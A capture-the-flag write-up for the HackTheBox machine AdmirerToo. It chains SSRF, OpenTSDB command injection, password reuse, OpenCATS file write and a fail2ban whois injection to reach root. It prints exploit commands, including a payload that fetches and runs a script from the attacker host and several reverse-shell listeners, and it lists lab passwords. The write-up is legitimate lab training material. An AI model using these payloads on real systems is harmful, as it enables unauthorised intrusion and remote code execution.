HackTheBox - AdmirerToo
AdmirerToo just retired on HackTheBox. It was a Hard difficulty Linux box. It was well designed and required to chain several exploits in order to retrieve the flags. The path to user was not that obvious and required a lot of enumeration. The box relied mainly on common vulnerabilities, with some of them rather unusual but very interesting to chain. In the end, it’s a tough but good box that I recommend.
Tl;Dr: To get the user flag you first have to find and exploit a SSRF vulnerability in Adminer to discover a local instance of OpenTSDB, then use the SSRF to exploit a command injection vulnerability in OpenTSDB to get your first shell. After enumeration, a database password re-use allows you to connect and get the user flag.
For the root flag you first have to discover an Opencats instance vulnerable to arbitrary file write. A fail2ban client is vulnerable to command injection when you can control the result of a whois
query to your attacking IP address. Using the Opencats instance to write a whois.conf
file pointing to your malicious whois
server allows you to exploit the Fail2ban command injection to get a root shell.
First things first, let’s add the box IP to the “hosts” file:
1 | [hg8@archbook ~]$ echo "10.129.111.234 admirertoo.htb" >> /etc/hosts |
And let’s start!
User flag
Recon
We start we the usual nmap
scan to discover the running services:
1 | [hg8@archbook ~]$ nmap -sV -sT -sC admirertoo.htb |
As usual we have the port SSH (22
) open as well as port 80
with a simple image gallery landing page:
Let’s do the usual web page enumeration on this page.
Trying to fuzz for hidden endpoints with gobuster
doesn’t return anything interesting:
1 | [hg8@archbook ~]$ gobuster dir -u "http://admirertoo.htb" -w ~/SecLists/Discovery/Web-Content/big.txt |
Maybe we can try to brute-force vhost
to find subdomains. But we get no luck either using fuff
:
1 | [hg8@archbook ~]$ ffuf -u http://admirertoo.htb/ -H "Host: FUZZ.admirertoo.htb" -w ~/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt -fs 14099 |
Now what? Maybe it’s time to do what we should have done from the beginning and review the landing page manually to see if we can find any information that automated tools can’t find.
And indeed, while visiting a non-existing page we notice an interesting new domain in the mailto
field:
1 | [hg8@archbook ~]$ curl admirertoo.htb/hg8 |
Let’s add admirer-gallery.htb
to our host file and retry our vhost
discovery:
1 | [hg8@archbook ~]$ ffuf -u http://admirer-gallery.htb/ -H "Host: FUZZ.admirer-gallery.htb" -w ~/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt -fs 14099 |
We finally find something interesting. After adding db.admirer-gallery.htb
to our host file we can access an Adminer
database instance.
Adminer (formerly phpMinAdmin) is a full-featured database management tool written in PHP. Conversely to phpMyAdmin, it consists of a single file ready to deploy to the target server.
https://www.adminer.org/
Adminer database
Oddly enough no credentials are needed to access the database. While looking at the source code we can see that the database password is actually hard-coded into the HTML form:
1 | <form action="" method="post"> |
The database itself doesn’t hold any interesting information.
Let’s see if we can exploit a vulnerability in Adminer instead. We know from the login page that the running version is 4.7.8
.
SSRF on Adminer
A quick Google search return the following vulnerability that looks interesting to us:
CVE-2021-21311: In Adminer from version 4.0.0 and before 4.7.9 there is a server-side request forgery vulnerability. This is fixed in version 4.7.9.
https://github.com/vrana/adminer/files/5957311/Adminer.SSRF.pdf
The issue seems to rely on the elastic
connection module. While configured for Elasticsearch Adminer will try to connect to the provided host (in our case our attacking machine with specific server response) and return the request response into the error message.
The PoC PDF outlines the vulnerability in detail. We should be able to reproduce it on our instance. First of all we need to set up an intercept script to redirect traffic to localhost:
1 | #!/usr/bin/env python3 |
1 | [hg8@archbook ~]$ sudo python redirect.py 80 http://127.0.0.1 |
We can then use Burp Suite to intercept and modify the connection request in order to, firstly, point the connector to our attacking machine (which will be intercepted by the [redirect.py](http://redirect.py)
script) and then modify the auth_driver
to the vulnerable elastic
driver:
Once the request forwarded we can see an incoming request confirming the SSRF succeed:
1 | [hg8@archbook ~]$ sudo python redirect.py 80 http://127.0.0.1 |
As expected Adminer return the content of the main application HTML page in the error message:
We can now access local services running on the server through this SSRF vulnerability.
Since it’s a bit cumbersome to use Burp intercept every time let’s write a quick Python script to exploit this vulnerability more easily:
1 | import requests |
Now we can run it with the following command:
1 | [hg8@archbook ~]$ sudo python CVE-2021-21311.py 80 http://127.0.0.1:80 |
A typical way to exploit SSRF would be to make connections to internal-only services within the box infrastructure. The issue is, we don’t know what kind of services are running there. We could brute-force to find the open ports but this will be a pain…
I decided to take a step back and while looking back at my recon phase I noticed that out of habits I didn’t use sudo
to run nmap
, for once not running a program as root can be a bad habits since some discovery methods used by nmap
(UDP port scanning) rely on the root privilege to work properly. And indeed, if we restart nmap
as root, we find a new port 4242
being marked as “filtered”.
Filtered Port: Nmap cannot determine whether the port is open because packet
filtering (firewall) prevents its probes from reaching the port. The filtering
could be from a dedicated firewall device, router rules, or host-based firewall
software.
https://nmap.org/book/man.html
1 | [hg8@archbook ~]$ sudo nmap -p- -sV -sC admirertoo.htb |
Let’s see if we can exploit the SSRF vulnerability against the service running on port 4242
:
1 | [hg8@archbook ~]$ sudo python CVE-2021-21311.py 80 http://127.0.0.1:4242 |
It works! It seems to be a web server. The page title refers to an OpenTSDB
application. Never heard of it before:
OpenTSDB is a distributed, scalable Time Series Database (TSDB) written on top of HBase.
http://opentsdb.net/
Adminer SSRF → OpenTSBD RCE
After another quick Google search we stumble upon a Remote Code Execution Vulnerability in OpenTSBD:
CVE-2020-35476: A remote code execution vulnerability occurs in OpenTSDB through 2.4.0 via command injection in the yrange parameter. The yrange value is written to a gnuplot file in the /tmp directory. This file is then executed via the mygnuplot.sh shell script. (tsd/GraphHandler.java attempted to prevent command injections by blocking backticks but this is insufficient.)
https://www.cvedetails.com/cve/CVE-2020-35476/
Let’s see if the version running on the box is vulnerable.
1 | [hg8@archbook ~]$ sudo python CVE-2021-21311.py 80 http://127.0.0.1:4242/api/version |
Bingo! It’s vulnerable. Let’s try to reproduce the Proof-of-Concept.
First we need to open a simple Python HTTP server - if the server get a connection from the box it means we achieved RCE:
1 | [hg8@archbook ~]$ python -m http.server |
Then we build a simple payload that will connect to our sever (curl 10.10.14.67:8000
):
1 | [hg8@archbook ~]$ sudo python CVE-2021-21311.py 80 "http://127.0.0.1:4242/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('curl+10.10.14.67%3A8000')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json" |
OpenTSBD
returns an error message. It’s a pain to read it but we can understand that the metric cpu.nice
we used from the vulnerability PoC is not available on this instance (No such name for 'metrics': 'sys.cpu.nice’
).
Following the documentation we can find an endpoint to list available metrics
:
1 | [hg8@archbook ~]$ sudo python CVE-2021-21311.py 80 'http://127.0.0.1:4242/api/suggest?type=metrics' |
Perfect, let’s now replace sys.cpu.nice
with http.stats.web.hits
in our payload and retry:
1 | [hg8@archbook ~]$ sudo python CVE-2021-21311.py 80 "http://127.0.0.1:4242/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:http.stats.web.hits&o=&ylabel=&xrange=10:10&yrange=[33:system('curl+10.10.14.67%3A8000')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json" |
Bingo! We receive a connection on our HTTP server:
1 | [hg8@archbook ~]$ python -m http.server |
It’s time to update our payload to a reverse shell:
1 | [hg8@archbook ~]$ cat hg8.py |
Let’s now open our listener and run our urlencoded payload (curl 10.10.14.67:8000/hg8.py -o /tmp/hg8.py && python /tmp/hg8.py
):
1 | [hg8@archbook ~]$ nc -l -vv -p 8585 |
1 | [hg8@archbook ~]$ sudo python CVE-2021-21311.py 80 "http://127.0.0.1:4242/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:http.stats.web.hits&o=&ylabel=&xrange=10:10&yrange=[33:system('curl%2010.10.14.67%3A8000%2Fhg8.py%20-o%20%2Ftmp%2Fhg82.py%3Bpython%20%2Ftmp%2Fhg82.py')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json" |
We receive a connection and our first shell on the box:
1 | [hg8@archbook ~]$ nc -l -vv -p 8585 |
Privilege escalation → jennifer user
Listing /home/
and /etc/passwd
to find the user and flag location:
1 | opentsdb@admirertoo:/$ ls /home/ |
To get a user flag we will need to find a way to pivot to jennifer
user.
While doing the usual recon we notice that a service is running on port 8080
and probably connected to MySQL instance on port 3306
:
1 | opentsdb@admirertoo:/$ netstat -tulpn | grep LISTEN |
Unfortunately the port is still filtered and we can’t access it:
1 | opentsdb@admirertoo:/$ curl 127.0.0.1:8080 |
OpenCATS database
After the usual recon we find in the /opt
folder an application called openCATS
:
1 | opentsdb@admirertoo:/opt/opencats$ cat README.md |
It’s probably safe to guess this is the app running on port 8080.
Reading through the source code we can quickly retrieve the MySQL database credentials:
1 | opentsdb@admirertoo:/opt/opencats$ head /opt/opencats/config.php |
Let’s connect to the database to see if we can find some information on jennifer
:
1 | opentsdb@admirertoo:/tmp$ mysql -u cats -p |
We find a MD5 hash for admin
user and jennifer
. Unfortunately none of the hash can’t be found in MD5 reverse database. We are maybe on the wrong track for now.
jennifer password re-use
Going back to our enumeration we stumble upon the install folder of the Adminer application and find a commented out password:
1 | opentsdb@admirertoo$ cat /var/www/adminer/plugins/data/servers.php |
Since it’s important to check everything, let’s try to login to jennifer
SSH using one of the passwords we found so far ? (1w4nn4b3adm1r3d2!
, adm1r3r0fc4ts
, bQ3u7^AxzcB7qAsxE3
)
1 | [hg8@archbook ~]$ ssh [email protected] |
I wasn’t expecting it to work, it’s a good reminder to stick to the basics even on “Hard” rated difficulty box :)
Root flag
Recon
So now that we are on jennifer
account we can probably continue our recon on opencats
application. First we can confirm it’s accessible from jennifer
user:
1 | jennifer@admirertoo:~$ curl 127.0.0.1:8080 |
Into the Opencats rabbit hole
Let’s port forward opencats
to our machine to take a better look at it:
1 | [hg8@archbook ~]$ ssh -L 9000:127.0.0.1:8080 [email protected] |
We are presented with a login page telling us the version number (0.9.5.2
). A quick Google search return an interesting vulnerability for this version:
OpenCATS PHP Object Injection to Arbitrary File Write (CVE-2021-25294)
OpenCATS through 0.9.5-3 unsafely deserializes index.php?m=activity requests,
leading to remote code execution. This occurs because lib/DataGrid.php calls
unserialize for the parametersactivity:ActivityDataGrid parameter. The PHP object
injection exploit chain can leverage an __destruct magic method in guzzlehttp.
https://snoopysecurity.github.io/web-application-security/2021/01/16/09_opencats_php_object_injection.html
The blog post is very well explained and contains a PoC so let’s give a try.
First of all since we have write access to the database let’s just overwrite the admin
password with our own to login to opencats
admin panel:
1 | [hg8@archbook ~]$ echo -n hg8 | md5sum |
We can now connect:
In order to exploit the vulnerability, as explained in the blog post, we need to go to the activities
tab, select the date
page and intercept the request in Burp:
According to the vulnerability write-up, the activity
parameter is vulnerable. So, we need to generate a serialized exploit using PHPGGC and replace the default one with it.
We have no information to know where to upload the PHP webshell nor which users permission will be applied. Let’s try to upload to the usual /dev/shm
directory to check the file permission:
1 | [hg8@archbook ~]$ echo "test" >> hg8 |
We can place our payload in the intercepted request:
And it works, we can find our file under /dev/shm
directory. As expected the file is not owned by root
user but by devel
:
1 | jennifer@admirertoo:~$ ls -la /dev/shm |
On top of that devel
only have write permission to a few useless directory and don’t even have shell access:
1 | jennifer@admirertoo:~$ find / -group devel 2>/dev/null |
Bummer…. Looks like we are on a dead end here.
Let’s continue our search.
Fail2ban Remote Code Execution
During the recon process I noticed a fail2ban
service running, but I didn’t pay that much attention since it’s a quite common service on boxes.
1 | jennifer@admirertoo:~$ ls -l /etc/init.d/* |
However when searching for the running version (0.10.2
), we stumble upon an interesting vulnerability:
Possible RCE vulnerability in mailing action using mailutils (CVE-2021-32749)
Command mail from mailutils package used in mail actions like mail-whois can execute command if unescaped sequences (\n~) are available in “foreign” input (for instance in whois output).
https://github.com/fail2ban/fail2ban/security/advisories/GHSA-m985-3f3v-cwmm
fail2ban
is tool used to analyse logs (or other data sources) in search of brute force traces in order to block such attempts based on the IP address. There are plenty of rules for different services (SSH, SMTP, HTTP, etc.). There are also defined actions which could be performed after blocking a client. One of these actions is sending an e-mail:
1 | [hg8@archbook ~]$ echo "test e-mail" | mail -s "subject" [email protected] |
Looking at the config file on the box we confirm that fail2ban
use mail
as Mail Transfer Agent (mta) to notify when a brute-force attempt is detected:
1 | jennifer@admirertoo:~$ cat /etc/fail2ban/jail.local |
Digging into the config file we can find that only the sshd
jail is activated:
1 | jennifer@admirertoo:~$ cat /etc/fail2ban/jail.d/defaults-debian.conf |
We have the possibility to trigger the jail by sending brute-force attempts on the SSH port. Once triggered the jail will send an email to [email protected]
:
1 | jennifer@admirertoo:/etc/fail2ban$ cat action.d/mail.conf |
According to the vulnerability writeup we need to control our whois server response to hold the malicious payload.
Malicious whois server
First of all, we need to configure whois
to connect to our own server. Unfortunately we don’t have permission to edit /etc/hosts
to do so…
One alternative is taking advantage of the whois.conf
config file to define the IP address of the Whois server to use.
Again we don’t have write permission to the /etc/
folder either.
That’s where the opencats
arbitrary file will come useful since it gives us permission to write to /usr/local/etc
(local equivalent to /etc
for software).
Trying to do so we quickly stumble upon another blocker, the file we uploaded earlier using opencats
vulnerability output the following format:
1 | jennifer@admirertoo:~$ cat /dev/shm/hg8 |
Our actual test
string is only a part of the file content created by opencats
.
This is not going to work for our initial plan to create the whois.conf
since whois
expect the configuration file to be a server address or domain name list:
1 | [hg8@archbook ~]$ man whois.conf |
Just to make sure we can give a try on our local machine:
1 | [hg8@archbook ~]$ cat /usr/local/etc/whois.conf |
We get a parsing error message as expected. However when checking the source code of whois
we can see that a regex is being applied to extract the server IP Address or Domain name.
1 | [hg8@archbook ~]$ cat /ect/whois.conf |
So if we include a proper regex escape maybe the config file can be parsed properly.
After digging in the madness of regex and several trial and errors we can come up with the following valid format:
1 | [{"Expires":1,"Discard":false,"Value":"}]|. [10.10.14.67]\n"}] |
Once placed in the config, it is parsed correctly:
1 | [hg8@archbook ~]$ cat /etc/whois.conf |
We can now go back to the opencats
vulnerability and send the following payload:
1 | [hg8@archbook ~]$ cat whoisconf |
Let’s build it as we did earlier:
1 | $ ./phpggc -u --fast-destruct Guzzle/FW1 /usr/local/etc/whois.conf whoisconf |
Then intercept and inject the payload with Burp. We can then verify it’s been upload properly using jennifer
account:
1 | jennifer@admirertoo:~$ cat /usr/local/etc/whois.conf |
Let’s open our reverse shell listener:
1 | [hg8@archbook ~]$ nc -l -vv -p 8585 |
Now we create our reverse shell and host it on a simple whois
sever containing the reverse shell payload according to the fail2ban
vulnerability write-up:
1 | [hg8@archbook ~]$ cat hg8shell |
We can verify from jennifer
account that our whois
server return the correct payload:
1 | jennifer@admirertoo:~$ whois 10.10.14.67 |
Last step is to trigger fail2ban
to send an email by attempting a brute-force on the SSH port:
1 | [hg8@archbook ~]$ ssh [email protected] |
In order to get the attacker information, fail2ban
will perform a whois
on our IP, which will return the malicious payload to be executed by fail2ban
as root:
1 | listening on [any] 8585 ... |
References
OpenTSDB 2.4.0 Remote Code Execution
fail2ban – Remote Code Execution
That’s it folks! As always do not hesitate to contact me for any questions or feedback!
See you next time ;)
-hg8